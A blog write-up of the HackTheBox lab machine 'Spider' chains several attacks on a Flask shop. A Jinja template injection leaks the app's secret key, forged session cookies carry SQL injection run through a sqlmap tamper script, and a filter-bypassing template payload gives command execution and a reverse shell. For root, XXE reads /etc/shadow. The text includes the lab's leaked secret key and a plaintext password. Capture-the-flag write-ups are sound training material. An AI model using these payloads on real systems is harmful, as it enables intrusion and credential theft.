This page looks best with JavaScript enabled

HackTheBox: Spider

 ·  โ˜• 7 min read

User

As always let’s run nmap to check what ports are open, here is the output:

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 28:f1:61:28:01:63:29:6d:c5:03:6d:a9:f0:b0:66:61 (RSA)
|   256 3a:15:8c:cc:66:f4:9d:cb:ed:8a:1f:f9:d7๐Ÿ†Žd1:cc (ECDSA)
|_  256 a6:d4:0c:8e:5b:aa:3f:93:74:d6:a8:08:c9:52:39:09 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Welcome to Zeta Furniture.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The web page is a furniture shop:
Main web

Ran a subdirectory fuzzer but didn’t found anything interesting:

ffuf -c -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-directories.txt -u http://spider.htb/FUZZ

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://spider.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-directories.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
________________________________________________

login                   [Status: 200, Size: 1832, Words: 442, Lines: 78]
register                [Status: 200, Size: 2130, Words: 551, Lines: 86]
user                    [Status: 302, Size: 219, Words: 22, Lines: 4]
logout                  [Status: 302, Size: 209, Words: 22, Lines: 4]
index                   [Status: 200, Size: 11273, Words: 4402, Lines: 256]
view                    [Status: 302, Size: 219, Words: 22, Lines: 4]
main                    [Status: 302, Size: 219, Words: 22, Lines: 4]
                        [Status: 200, Size: 11273, Words: 4402, Lines: 256]

Doesn’t look that there is anything hidden, so let’s check all available endpoints. So here is the list of functionalities (with user input):

  • User Registration (username with 10 chars maximum and password)
  • User login (user UUID and password)
  • checkout (email)
  • cart (product,amount)
  • profile (requires being logged)

Additionally there is an admin page that we can’t access, so our goal may be to access it.

So started by testing if there is any reflected field in the user after registration and found a small html injection with <u>a</u> as username. However wasn’t able to do anything else mainly because the username length limit.

Afterwards tried STTI with user {{7*7}}, when we check the profile page, voilรก:

STTI Proof

But we keep having a 10 character limit, so checked some common payloads and there is one that fits within the char limit {{config}}, when we open the profile page again here is what we get:

<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'RATELIMIT_ENABLED': True, 'RATELIMIT_DEFAULTS_PER_METHOD': False, 'RATELIMIT_SWALLOW_ERRORS': False, 'RATELIMIT_HEADERS_ENABLED': False, 'RATELIMIT_STORAGE_URL': 'memory://', 'RATELIMIT_STRATEGY': 'fixed-window', 'RATELIMIT_HEADER_RESET': 'X-RateLimit-Reset', 'RATELIMIT_HEADER_REMAINING': 'X-RateLimit-Remaining', 'RATELIMIT_HEADER_LIMIT': 'X-RateLimit-Limit', 'RATELIMIT_HEADER_RETRY_AFTER': 'Retry-After', 'UPLOAD_FOLDER': 'static/uploads'}>

Now we have the secret key so we can use that to craft our own cookies with flask-unsign, before anything else let’s check what’s inside the cookies:

flask-unsign --decode --cookie eyJjYXJ0X2l0ZW1zIjpbXSwidXVpZCI6ImNlNGRiODY4LTFhNDgtNDdhYS1hMDAwLWJhNDE4Zjc0MWFhZCJ9.YNxJFA.uLrzuDHUELYwf4O2GEfGP_Xi5QI
{'cart_items': [], 'uuid': 'ce4db868-1a48-47aa-a000-ba418f741aad'}

We don’t have cart items yet, so let’s test how it works. When we add an item to the cart it’s added to the cart inside the cookie. When we check /cart we can see the products that are inside the cookie. For instance we can try it out by adding a product that doesn’t exist (9 for instance) and we get an empty cart, but still shows the cart product amount as 1:

Empty cart

Then tried a small sql injection payload:

flask-unsign --sign --cookie "{'cart_items': ['9 Or 1#'], 'uuid': '4caff84b-3e47-4f3a-bfb1-e055b08142a2'}" --secret "Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942"
eyJjYXJ0X2l0ZW1zIjpbIjkgT3IgMSMiXSwidXVpZCI6IjRjYWZmODRiLTNlNDctNGYzYS1iZmIxLWUwNTViMDgxNDJhMiJ9.YNxWnw.LgjoLXT23qLjyklH5IWlKXYXOL0

When I check the cart after updating the cookie, here is the result:

SQL injection

It seems vulnerable to sqli injection so let’s try to exploit it using sqlmap. To do so first we need to create a tamper module for sqlmap, which is modify how sqlmap uses the payload. In this case we are going to craft a flask cookie with the payload inside. Something like this:

1
2
3
4
5
#!/usr/bin/env python
import flask_unsign

def tamper(payload, **kwargs):
        return flask_unsign.sign({'cart_items': [payload], 'uuid': '4caff84b-3e47-4f3a-bfb1-e055b08142a2'},"Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942")

After enumerating the database structure dumped the admin user:

sqlmap -u http://spider.htb/cart --cookie "session=*" --tamper tamper.py --delay 1 --batch -T users -D shop --dump

From the users table we have the plain text of the user and his uid:

[1 entry]
+----+--------------------------------------+------+-----------------+
| id | uuid                                 | name | password        |
+----+--------------------------------------+------+-----------------+
| 1  | 129f60ea-30cf-4065-afb9-6be45ad38b73 | chiv | ch1VW4sHERE7331 |
+----+--------------------------------------+------+-----------------+

Unfortunately we are not allow to connect using ssh with that password. Let’s see what’s inside the admin panel:

Admin panel

In the message board (/view?check=messages) there is a hint of another portal:

Hidden panel

It’s a form to open a support ticket (they can be viewed on the admin panel). At this point tried STTI since the profile was also vulnerable and here there is no size limit. This time was blocking some special characters:

Blacklisted

Here is the list of the blacklisted strings:

if
{{
_
.
'

Then found this post that teaches how to bypass common STTI blacklists.

The first thing needed to be done was to execute anything. The main approaches {{}} and {% if %} couldn’t be used. Luckily in that post there was a payload using {%print%}. The payload {%print(7+7)%} worked just fine. We now need to go from there to rce.

Didn’t want to deal with module array positions so searched for a more general approach and found this post from one of the machine’s authors.

Right now I want to execute the following payload:

request.application.__globals__.__builtins__.__import__('os').popen('id').read()

We can’t use ' but " aren’t blacklisted so that’s easy to evade. Then we also need to change all . with [. The one that was harder to bypass was _, after some time read python sandbox bypass from hacktricks and they mention using hexadecimal. Here is the final payload:

{%print(request["application"]["\x5f\x5f"+"globals"+"\x5f\x5f"]["\x5f\x5f"+"builtins"+"\x5f\x5f"]["\x5f\x5f"+"import"+"\x5f\x5f"]("os")["popen"]("id")["read"]())%}

Now we need to execute a reverse shell:

{%print(request["application"]["\x5f\x5f"+"globals"+"\x5f\x5f"]["\x5f\x5f"+"builtins"+"\x5f\x5f"]["\x5f\x5f"+"import"+"\x5f\x5f"]("os")["popen"]("echo -n <BASE64-PAYLOAD> | base64 -d | bash")["read"]())%}

Remember to include -n on the echo, for some reason it’s adding new lines and the reverse shell wasn’t working without it.

Root

Before anything else tried to log in with the credentials leaked in the database without success.

Then enumerating the system open ports stood out:

netstat -tulpn
(No info could be read for "-p": geteuid()=1000 but you should be root.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           - 

There is a port listening on localhost, so used SSH to redirect that port to my host:

ssh -i id_rsa -L 8000:localhost:8080 chiv@spider.htb

Here is the page login:
Beta Login

After you log in there is new shopping cart:
Modern Cart

If we take a look at the cookies, here is what the cookies look like:

flask-unsign --decode --cookie .eJw9jU1PhDAARP-K6dkD1fUgyV4aWhAFbKEty63QTfgo3aokIJv970I28Th5M_OuwCyjAf4VPNTABxynROOloEMsmJysGKE8y-S3jqpOcXIoQoc0hwEtWSIC9sFx-67Ht5XnU7Bxm_MUZcRFrEfVzvdceSagUsfUw4eKtFkdplMq205A_i2FJhmeV2GdkthBKZqlJsjWT3v__rft8TlCfVKYixyapQnjrzTSlK5mPq34RW2-pESd6v99WD9XinmnWQrq5RAFWWm6pB9mHjavn_R4BLdH4C6dnX6A793-APTrVkI.YNx6OA.6v2CoYEgs_x8HgnsHH4Jgw7d1LQ
{'lxml': b'PCEtLSBBUEkgVmVyc2lvbiAxLjAuMCAtLT4KPHJvb3Q+CiAgICA8ZGF0YT4KICAgICAgICA8dXNlcm5hbWU+YWE8L3VzZXJuYW1lPgogICAgICAgIDxpc19hZG1pbj4wPC9pc19hZG1pbj4KICAgIDwvZGF0YT4KPC9yb290Pg==', 'points': 0}

Inside the cookie there is an xml document:

echo PCEtLSBBUEkgVmVyc2lvbiAxLjAuMCAtLT4KPHJvb3Q+CiAgICA8ZGF0YT4KICAgICAgICA8dXNlcm5hbWU+YWE8L3VzZXJuYW1lPgogICAgICAgIDxpc19hZG1pbj4wPC9pc19hZG1pbj4KICAgIDwvZGF0YT4KPC9yb290Pg== | base64 -d
<!-- API Version 1.0.0 -->
<root>
    <data>
        <username>aa</username>
        <is_admin>0</is_admin>
    </data>
</root>

At this point inmediately thought of XXE. However, couldn’t manage to exploit it only injecting data in the middle of the xml document.

Then look for other parameters in case there is other vulnerability, here is the request:
Request

So we can inject the version from the comment on the top. let’s test XXE now, here is the XXE request:

XXE

Nice we get Pwned in the username field. Now we can just read any file:

File read request

Here is the output inside the HTML:
/etc/shadow

Share on

ITasahobby
WRITTEN BY
ITasahobby
InTernet lover